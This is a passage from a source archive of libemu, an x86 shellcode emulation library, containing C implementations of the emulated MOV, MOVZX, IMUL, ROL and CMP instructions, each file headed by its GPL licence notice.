*/ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); *c->reg16[i->modrm.opc] = m8; } else { /* 0F B6 /r * Move byte to doubleword, zero-extension * MOVZX r32,r/m8 */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); c->reg[i->modrm.opc] = m8; } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 0F B6 /r * Move byte to word with zero-extension * MOVZX r16,r/m8 */ *c->reg16[i->modrm.opc] = *c->reg8[i->modrm.rm]; } else { /* 0F B6 /r * Move byte to doubleword, zero-extension * MOVZX r32,r/m8 */ c->reg[i->modrm.opc] = *c->reg8[i->modrm.rm]; } } return 0; } int32_t instr_movzx_0fb7(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* 0F B7 /r * Move word to doubleword, zero-extension * MOVZX r32,m16 */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); c->reg[i->modrm.opc] = m16; } else { /* 0F B7 /r * Move word to doubleword, zero-extension * MOVZX r32,r16 */ c->reg[i->modrm.opc] = *c->reg16[i->modrm.rm]; } return 0; } libemu-0.2.0+git20120122+564/src/functions/mov.c0000644000175300017530000002056211706767213017614 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_memory.h" #include "emu/emu_track.h" #include "emu/emu_log.h" /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 442*/ int32_t instr_mov_88(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 88 /r * Move r8 to r/m8 * MOV r/m8,r8 */ if( i->modrm.mod != 3 ) { MEM_BYTE_WRITE(c, i->modrm.ea, *c->reg8[i->modrm.opc]); } else { *c->reg8[i->modrm.rm] = *c->reg8[i->modrm.opc]; } return 0; } int32_t instr_mov_89(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 89 /r * Move r16 to r/m16 * MOV r/m16,r16 */ /* 89 /r * Move r32 to r/m32 * MOV r/m32,r32 */ if( i->prefixes & PREFIX_OPSIZE ) { if( i->modrm.mod != 3 ) { MEM_WORD_WRITE(c, i->modrm.ea, *c->reg16[i->modrm.opc]); } else { *c->reg16[i->modrm.rm] = *c->reg16[i->modrm.opc]; } } else { if( i->modrm.mod != 3 ) { MEM_DWORD_WRITE(c, i->modrm.ea, c->reg[i->modrm.opc]); } else { c->reg[i->modrm.rm] = c->reg[i->modrm.opc]; TRACK_NEED_REG32(c->instr, i->modrm.opc); TRACK_INIT_REG32(c->instr, i->modrm.rm); } } return 0; } int32_t instr_mov_8a(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 8A /r * Move r/m8 to r8 * MOV r8,r/m8 */ if( i->modrm.mod != 3 ) { MEM_BYTE_READ(c, i->modrm.ea, c->reg8[i->modrm.opc]); TRACK_INIT_REG16(c->instr, i->modrm.opc); } else { *c->reg8[i->modrm.opc] = *c->reg8[i->modrm.rm]; } return 0; } int32_t instr_mov_8b(struct emu_cpu *c, struct emu_cpu_instruction *i) { if( i->prefixes & PREFIX_OPSIZE ) { /* 8B /r * Move r/m16 to r16 * MOV r16,r/m16 */ if( i->modrm.mod != 3 ) { MEM_WORD_READ(c, i->modrm.ea, c->reg16[i->modrm.opc]); TRACK_INIT_REG16(c->instr, i->modrm.opc); } else { *c->reg16[i->modrm.opc] = *c->reg16[i->modrm.rm]; } } else { /* 8B /r * Move r/m32 to r32 * MOV r32,r/m32 */ if( i->modrm.mod != 3 ) { MEM_DWORD_READ(c, i->modrm.ea, &c->reg[i->modrm.opc]); TRACK_INIT_REG32(c->instr, i->modrm.opc); } else { c->reg[i->modrm.opc] = c->reg[i->modrm.rm]; TRACK_INIT_REG32(c->instr, i->modrm.opc); if ( c->tracking != NULL ) { c->tracking->track.reg[i->modrm.opc] = c->tracking->track.reg[i->modrm.rm]; } } } return 0; } int32_t instr_mov_8c(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 8C /r * Move segment register to r/m16 * MOV r/m16,Sreg** */ STUB(c); return 0; } int32_t instr_mov_8e(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 8E /r * Move r/m16 to segment register * MOV Sreg,r/m16** */ STUB(c); return 0; } int32_t instr_mov_a0(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* A0 * Move byte at (seg:offset) to AL * MOV AL,moffs8* */ MEM_BYTE_READ(c, i->disp, c->reg8[al]); return 0; } int32_t instr_mov_a1(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->prefixes & PREFIX_OPSIZE ) { /* A1 * Move word at (seg:offset) to AX * MOV AX,moffs16* */ MEM_WORD_READ(c, i->disp, c->reg16[ax]); } else { /* A1 * Move doubleword at (seg:offset) to EAX * MOV EAX,moffs32* */ MEM_DWORD_READ(c, i->disp, &c->reg[eax]); TRACK_INIT_REG32(c->instr, eax); } return 0; } int32_t instr_mov_a2(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* A2 * Move AL to (seg:offset) * MOV moffs8*,AL */ MEM_BYTE_WRITE(c, i->imm, *c->reg8[al]); return 0; } int32_t instr_mov_a3(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->prefixes & PREFIX_OPSIZE ) { /* A3 * Move AX to (seg:offset) * MOV moffs16*,AX */ MEM_WORD_WRITE(c, i->imm, *c->reg16[ax]); } else { /* A3 * Move EAX to (seg:offset) * MOV moffs32*,EAX */ MEM_DWORD_WRITE(c, i->imm, c->reg[eax]); } return 0; } int32_t instr_movsb(struct emu_cpu *c, struct emu_cpu_instruction *i) { if (i->prefixes & PREFIX_OPSIZE ) { UNIMPLEMENTED(c, SST); } if (i->prefixes & PREFIX_F3) { /* Copy ECX bytes from DS:[ESI] to ES:[EDI] */ if (c->reg[ecx] > 0 ) { uint8_t tmp; c->reg[ecx]--; c->repeat_current_instr = true; MEM_BYTE_READ(c, c->reg[esi], &tmp); MEM_BYTE_WRITE(c, c->reg[edi], tmp); if ( !CPU_FLAG_ISSET(c,f_df) ) { /* increment */ c->reg[edi] += 1; c->reg[esi] += 1; }else { /* decrement */ c->reg[edi] -= 1; c->reg[esi] -= 1; } } else c->repeat_current_instr = false; } else { /* a4 move ds:esi -> es->edi */ uint8_t tmp; MEM_BYTE_READ(c, c->reg[esi], &tmp); MEM_BYTE_WRITE(c, c->reg[edi], tmp); if ( !CPU_FLAG_ISSET(c,f_df) ) { /* increment */ c->reg[edi] += 1; c->reg[esi] += 1; } else { /* decrement */ c->reg[edi] -= 1; c->reg[esi] -= 1; } } return 0; } int32_t instr_mov_bx_1(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* B0+ rb * Move imm8 to r8 * MOV r8,imm8 */ *c->reg8[i->opc & 7] = *i->imm8; return 0; } int32_t instr_mov_bx_2(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->prefixes & PREFIX_OPSIZE ) { /* B8+ rw * Move imm16 to r16 * MOV r16,imm16 */ #if BYTE_ORDER == BIG_ENDIAN bcopy(i->imm16, c->reg16[i->opc & 7], 2); #else *c->reg16[i->opc & 7] = *i->imm16; #endif } else { /* B8+ rd * Move imm32 to r32 * MOV r32,imm32 */ c->reg[i->opc & 7] = i->imm; TRACK_INIT_REG32(c->instr, i->opc & 7); } return 0; } int32_t instr_mov_c6(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* C6 /0 * Move imm8 to r/m8 * MOV r/m8,imm8 */ if( i->modrm.mod != 3 ) { MEM_BYTE_WRITE(c, i->modrm.ea, *i->imm8); } else { *c->reg8[i->modrm.rm] = *i->imm8; } return 0; } int32_t instr_mov_c7(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* C7 /0 * Move imm16 to r/m16 * MOV r/m16,imm16 */ /* C7 /0 * Move imm32 to r/m32 * MOV r/m32,imm32 */ if( i->prefixes & PREFIX_OPSIZE ) { if( i->modrm.mod != 3 ) { MEM_WORD_WRITE(c, i->modrm.ea, *i->imm16); } else { #if BYTE_ORDER == BIG_ENDIAN bcopy(i->imm16, c->reg16[i->modrm.rm], 2); #else *c->reg16[i->modrm.rm] = *i->imm16; #endif } } else { if( i->modrm.mod != 3 ) { MEM_DWORD_WRITE(c, i->modrm.ea, i->imm); } else { c->reg[i->modrm.rm] = i->imm; } } return 0; } libemu-0.2.0+git20120122+564/src/functions/imul.c0000644000175300017530000002601211706767213017755 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #define INSTR_CALC(inbits, outbits, cpu, a, b) \ INTOF(inbits) operand_a = (INTOF(inbits))a; \ INTOF(inbits) operand_b = (INTOF(inbits))b; \ INTOF(outbits) operation_result = operand_a * operand_b; \ #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_memory.h" /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 335*/ #define INSTR_SET_FLAGS(cpu, upper_result) \ if (upper_result == 0) \ { \ CPU_FLAG_UNSET(cpu,f_cf); \ CPU_FLAG_UNSET(cpu,f_of); \ } \ else \ { \ CPU_FLAG_SET(cpu,f_cf); \ CPU_FLAG_SET(cpu,f_of); \ } int32_t instr_imul_69(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 69 /r iw * word register <- r/m16 * immediate word * IMUL r16,imm16 * * word register <- r/m16 * immediate word * IMUL r16,r/m16,imm16 */ #if BYTE_ORDER == BIG_ENDIAN int16_t sexd; bcopy(i->imm16, &sexd, 2); #else int16_t sexd = (int16_t)*i->imm16; #endif uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC(16, 32, c, m16, sexd) *c->reg16[i->modrm.opc] = operation_result; uint8_t high; WORD_UPPER_TO_BYTE(high,operation_result); INSTR_SET_FLAGS(c,high); } else { /* 69 /r id * doubleword register <- r/m32 * immediate doubleword * IMUL r32,imm32 * * doubleword register <- r/m32 * immediate doubleword * IMUL r32,r/m32,imm32 */ int32_t sexd = (int32_t)i->imm; uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC(32, 64, c, m32, sexd) c->reg[i->modrm.opc] = operation_result; uint32_t high; QWORD_UPPER_TO_DWORD(high,operation_result); INSTR_SET_FLAGS(c,high); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 69 /r iw * word register <- r/m16 * immediate word * IMUL r16,imm16 * * word register <- r/m16 * immediate word * IMUL r16,r/m16,imm16 */ #if BYTE_ORDER == BIG_ENDIAN int16_t sexd; bcopy(i->imm16, &sexd, 2); #else int16_t sexd = (int16_t)*i->imm16; #endif INSTR_CALC(16, 32, c, *c->reg16[i->modrm.rm], sexd) *c->reg16[i->modrm.opc] = operation_result; uint8_t high; WORD_UPPER_TO_BYTE(high,operation_result); INSTR_SET_FLAGS(c,high); } else { /* 69 /r id * doubleword register <- r/m32 * immediate doubleword * IMUL r32,imm32 * * doubleword register <- r/m32 * immediate doubleword * IMUL r32,r/m32,imm32 */ int32_t sexd = (int32_t)i->imm; INSTR_CALC(32, 64, c, c->reg[i->modrm.rm], sexd) c->reg[i->modrm.opc] = operation_result; uint32_t high; QWORD_UPPER_TO_DWORD(high,operation_result); INSTR_SET_FLAGS(c,high); } } return 0; } int32_t instr_imul_6b(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 6B /r ib * word register <- m16 * sign-extended immediate byte * IMUL r16,m16,imm8 */ int16_t sexd = (int8_t)*i->imm8; uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC(16, 32, c, m16, sexd) *c->reg16[i->modrm.opc] = operation_result; uint8_t high; WORD_UPPER_TO_BYTE(high,operation_result); INSTR_SET_FLAGS(c,high); } else { /* 6B /r ib * word register <- m16 * sign-extended immediate byte * IMUL r16,m16,imm8 */ int32_t sexd = (int8_t)*i->imm8; uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC(32, 64, c, m32, sexd) c->reg[i->modrm.opc] = operation_result; uint32_t high; QWORD_UPPER_TO_DWORD(high,operation_result); INSTR_SET_FLAGS(c,high); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 6B /r ib * word register <- r16 * sign-extended immediate byte * IMUL r16,r16,imm8 * * word register <- word register * sign-extended immediate byte * IMUL r16,imm8 */ int16_t sexd = (int8_t)*i->imm8; INSTR_CALC(16, 32, c, *c->reg16[i->modrm.rm], sexd) *c->reg16[i->modrm.opc] = operation_result; uint8_t high; WORD_UPPER_TO_BYTE(high,operation_result); INSTR_SET_FLAGS(c,high); } else { /* 6B /r ib * doubleword register <- r32 * sign-extended immediate byte * IMUL r32,r32,imm8 * * doubleword register <- doubleword register * sign-extended immediate byte * IMUL r32,imm8 */ int32_t sexd = (int8_t)*i->imm8; INSTR_CALC(32, 64, c, c->reg[i->modrm.rm], sexd) c->reg[i->modrm.opc] = operation_result; uint32_t high; QWORD_UPPER_TO_DWORD(high,operation_result); INSTR_SET_FLAGS(c,high); } } return 0; } int32_t instr_imul_0f_af(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 0F AF /r * word register <- word register * r/m word * IMUL r16,r/m16 */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC(16, 32, c, *c->reg16[i->modrm.opc], m16) *c->reg16[i->modrm.opc] = operation_result; uint8_t high; WORD_UPPER_TO_BYTE(high,operation_result); INSTR_SET_FLAGS(c,high); } else { /* 0F AF /r * doubleword register <- doubleword register * r/m doubleword * IMUL r32,r/m32 */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC(32, 64, c, c->reg[i->modrm.opc], m32) c->reg[i->modrm.opc] = operation_result; uint16_t high; DWORD_UPPER_TO_WORD(high,operation_result); INSTR_SET_FLAGS(c,high); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 0F AF /r * word register <- word register * r/m word * IMUL r16,r/m16 */ INSTR_CALC(16, 32, c, *c->reg16[i->modrm.opc], *c->reg16[i->modrm.rm]) *c->reg16[i->modrm.opc] = operation_result; uint8_t high; WORD_UPPER_TO_BYTE(high,operation_result); INSTR_SET_FLAGS(c,high); } else { /* 0F AF /r * doubleword register <- doubleword register * r/m doubleword * IMUL r32,r/m32 */ INSTR_CALC(32, 64, c, c->reg[i->modrm.opc], c->reg[i->modrm.rm]) c->reg[i->modrm.opc] = operation_result; uint16_t high; DWORD_UPPER_TO_WORD(high,operation_result); INSTR_SET_FLAGS(c,high); } } return 0; } int32_t instr_group_3_f6_imul(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* F6 /5 * AX<- AL * r/m byte * IMUL r/m8 */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC(8, 16, c, *c->reg8[al], m8) *c->reg16[ax] = operation_result; uint8_t high; WORD_UPPER_TO_BYTE(high,operation_result); INSTR_SET_FLAGS(c,high); } else { /* F6 /5 * AX<- AL * r/m byte * IMUL r/m8 */ INSTR_CALC(8, 16, c, *c->reg8[al], *c->reg8[i->modrm.rm]) *c->reg16[ax] = operation_result; uint8_t high; WORD_UPPER_TO_BYTE(high,operation_result); INSTR_SET_FLAGS(c,high); } return 0; } int32_t instr_group_3_f7_imul(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* F7 /5 * DX:AX <- AX * r/m word * IMUL r/m16 */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC(16, 32, c, *c->reg16[al], m16) DWORD_UPPER_TO_WORD(*c->reg16[dx],operation_result); DWORD_LOWER_TO_WORD(*c->reg16[ax],operation_result); INSTR_SET_FLAGS(c,*c->reg16[dx]); } else { /* F7 /5 * EDX:EAX <- EAX * r/m doubleword * IMUL r/m32 */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC(32, 64, c, c->reg[eax], m32) QWORD_UPPER_TO_DWORD(c->reg[edx],operation_result); QWORD_LOWER_TO_DWORD(c->reg[eax],operation_result); INSTR_SET_FLAGS(c,c->reg[edx]); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* F7 /5 * DX:AX <- AX * r/m word * IMUL r/m16 */ INSTR_CALC(16, 32, c, *c->reg16[al], *c->reg16[i->modrm.rm]) DWORD_UPPER_TO_WORD(*c->reg16[dx],operation_result); DWORD_LOWER_TO_WORD(*c->reg16[ax],operation_result); INSTR_SET_FLAGS(c,*c->reg16[dx]); } else { /* F7 /5 * EDX:EAX <- EAX * r/m doubleword * IMUL r/m32 */ INSTR_CALC(32, 64, c, c->reg[eax], c->reg[i->modrm.rm]) QWORD_UPPER_TO_DWORD(c->reg[edx],operation_result); QWORD_LOWER_TO_DWORD(c->reg[eax],operation_result); INSTR_SET_FLAGS(c,c->reg[edx]); } } return 0; } libemu-0.2.0+git20120122+564/src/functions/rol.c0000644000175300017530000001654111706767213017611 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #define INSTR_CALC(bits, a, b, cpu) \ UINTOF(bits) operation_result = (a); \ uint8_t operand_b = (b); \ { \ operand_b %= sizeof(operation_result) * 8; \ operation_result = operation_result << operand_b | operation_result >> (bits - operand_b); \ if( operation_result & 1 ) \ { \ CPU_FLAG_SET(cpu, f_cf); \ } \ if( operand_b == 1 ) \ { \ if( (operation_result >> (bits - 1)) ^ (cpu->eflags >> f_cf) ) \ { \ CPU_FLAG_SET(cpu, f_of); \ } \ else \ { \ CPU_FLAG_UNSET(cpu, f_of); \ } \ } \ a = operation_result; \ } #define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b) \ INSTR_CALC(bits, a, b, cpu) \ INSTR_SET_FLAG_ZF(cpu) \ INSTR_SET_FLAG_PF(cpu) \ INSTR_SET_FLAG_SF(cpu) #include "emu/emu.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_memory.h" /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 631*/ int32_t instr_group_2_c0_rol(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* C0 /0 ib * Rotate eight bits r/m8 left imm8 times * ROL r/m8,imm8 */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC_AND_SET_FLAGS(8, c, m8, *i->imm8); MEM_BYTE_WRITE(c, i->modrm.ea, m8); } else { /* C0 /0 ib * Rotate eight bits r/m8 left imm8 times * ROL r/m8,imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *i->imm8); } return 0; } int32_t instr_group_2_c1_rol(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* C1 /0 ib * Rotate 16 bits r/m16 left imm8 times * ROL r/m16,imm8 */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC_AND_SET_FLAGS(16, c, m16, *i->imm8); MEM_WORD_WRITE(c, i->modrm.ea, m16); } else { /* C1 /0 ib * Rotate 32 bits r/m32 left imm8 times * ROL r/m32,imm8 */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC_AND_SET_FLAGS(32, c, m32, *i->imm8); MEM_DWORD_WRITE(c, i->modrm.ea, m32); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* C1 /0 ib * Rotate 16 bits r/m16 left imm8 times * ROL r/m16,imm8 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *i->imm8); } else { /* C1 /0 ib * Rotate 32 bits r/m32 left imm8 times * ROL r/m32,imm8 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], *i->imm8); } } return 0; } int32_t instr_group_2_d0_rol(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* D0 /0 * Rotate eight bits r/m8 left once * ROL r/m8,1 */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC_AND_SET_FLAGS(8, c, m8, 1); MEM_BYTE_WRITE(c, i->modrm.ea, m8); } else { /* D0 /0 * Rotate eight bits r/m8 left once * ROL r/m8,1 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], 1); } return 0; } int32_t instr_group_2_d1_rol(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* D1 /0 * Rotate 16 bits r/m16 left once * ROL r/m16,1 */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC_AND_SET_FLAGS(16, c, m16, 1); MEM_WORD_WRITE(c, i->modrm.ea, m16); } else { /* D1 /0 * Rotate 32 bits r/m32 left once * ROL r/m32,1 */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC_AND_SET_FLAGS(32, c, m32, 1); MEM_DWORD_WRITE(c, i->modrm.ea, m32); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* D1 /0 * Rotate 16 bits r/m16 left once * ROL r/m16,1 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], 1); } else { /* D1 /0 * Rotate 32 bits r/m32 left once * ROL r/m32,1 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], 1); } } return 0; } int32_t instr_group_2_d2_rol(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* D2 /0 * Rotate eight bits r/m8 left CL times * ROL r/m8,CL */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC_AND_SET_FLAGS(8, c, m8, *c->reg8[cl]); MEM_BYTE_WRITE(c, i->modrm.ea, m8); } else { /* D2 /0 * Rotate eight bits r/m8 left CL times * ROL r/m8,CL */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *c->reg8[cl]); } return 0; } int32_t instr_group_2_d3_rol(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* D3 /0 * Rotate 16 bits r/m16 left CL times * ROL r/m16,CL */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC_AND_SET_FLAGS(16, c, m16, *c->reg8[cl]); MEM_WORD_WRITE(c, i->modrm.ea, m16); } else { /* D3 /0 * Rotate 32 bits r/m32 left CL times * ROL r/m32,CL */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC_AND_SET_FLAGS(32, c, m32, *c->reg8[cl]); MEM_DWORD_WRITE(c, i->modrm.ea, m32); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* D3 /0 * Rotate 16 bits r/m16 left CL times * ROL r/m16,CL */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *c->reg8[cl]); } else { /* D3 /0 * Rotate 32 bits r/m32 left CL times * ROL r/m32,CL */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], *c->reg8[cl]); } } return 0; } libemu-0.2.0+git20120122+564/src/functions/cmp.c0000644000175300017530000002277111706767213017576 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #include #if BYTE_ORDER == BIG_ENDIAN #define INSTR_CALC(bits, a, b, operation) \ UINTOF(bits) operand_a; \ UINTOF(bits) operand_b; \ bcopy(&(a), &operand_a, bits/8); \ bcopy(&(b), &operand_b, bits/8); \ UINTOF(bits) operation_result = operand_a operation operand_b; #else // ENDIAN #define INSTR_CALC(bits, a, b, operation) \ UINTOF(bits) operand_a = a; \ UINTOF(bits) operand_b = b; \ UINTOF(bits) operation_result = operand_a operation operand_b; #endif // ENDIAN #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_memory.h" #ifdef INSTR_CALC_AND_SET_FLAGS #undef INSTR_CALC_AND_SET_FLAGS #endif // INSTR_CALC_AND_SET_FLAGS #define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b, operation) \ INSTR_CALC(bits, a, b, operation) \ INSTR_SET_FLAG_ZF(cpu) \ INSTR_SET_FLAG_PF(cpu) \ INSTR_SET_FLAG_SF(cpu) \ INSTR_SET_FLAG_CF(cpu, operation) \ INSTR_SET_FLAG_OF(cpu, operation, bits) int32_t instr_cmp_38(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 38 /r * Compare r8 with r/m8 * CMP r/m8,r8 */ if ( i->modrm.mod != 3 ) { uint8_t dst; MEM_BYTE_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(8, c, dst, *c->reg8[i->modrm.opc], -) // MEM_BYTE_WRITE(c, i->modrm.ea, dst); } else { INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *c->reg8[i->modrm.opc], -) } return 0; } int32_t instr_cmp_39(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 39 /r * Compare r16 with r/m16 * CMP r/m16,r16 */ uint16_t dst; MEM_WORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(16, c, dst, *c->reg16[i->modrm.opc], -) // MEM_WORD_WRITE(c, i->modrm.ea, dst); } else { /* 39 /r * Compare r32 with r/m32 * CMP r/m32,r32 */ uint32_t dst; MEM_DWORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(32, c, dst, c->reg[i->modrm.opc], -) // MEM_DWORD_WRITE(c, i->modrm.ea, dst); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 39 /r * Compare r16 with r/m16 * CMP r/m16,r16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *c->reg16[i->modrm.opc], -) } else { /* 39 /r * Compare r32 with r/m32 * CMP r/m32,r32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], c->reg[i->modrm.opc], -) } } return 0; } int32_t instr_cmp_3a(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 3A /r * Compare r/m8 with r8 * CMP r8,r/m8 */ if ( i->modrm.mod != 3 ) { uint8_t op; MEM_BYTE_READ(c, i->modrm.ea, &op); INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.opc], op, -) } else { INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.opc], *c->reg8[i->modrm.rm], -) } return 0; } int32_t instr_cmp_3b(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 3B /r * Compare r/m16 with r16 * CMP 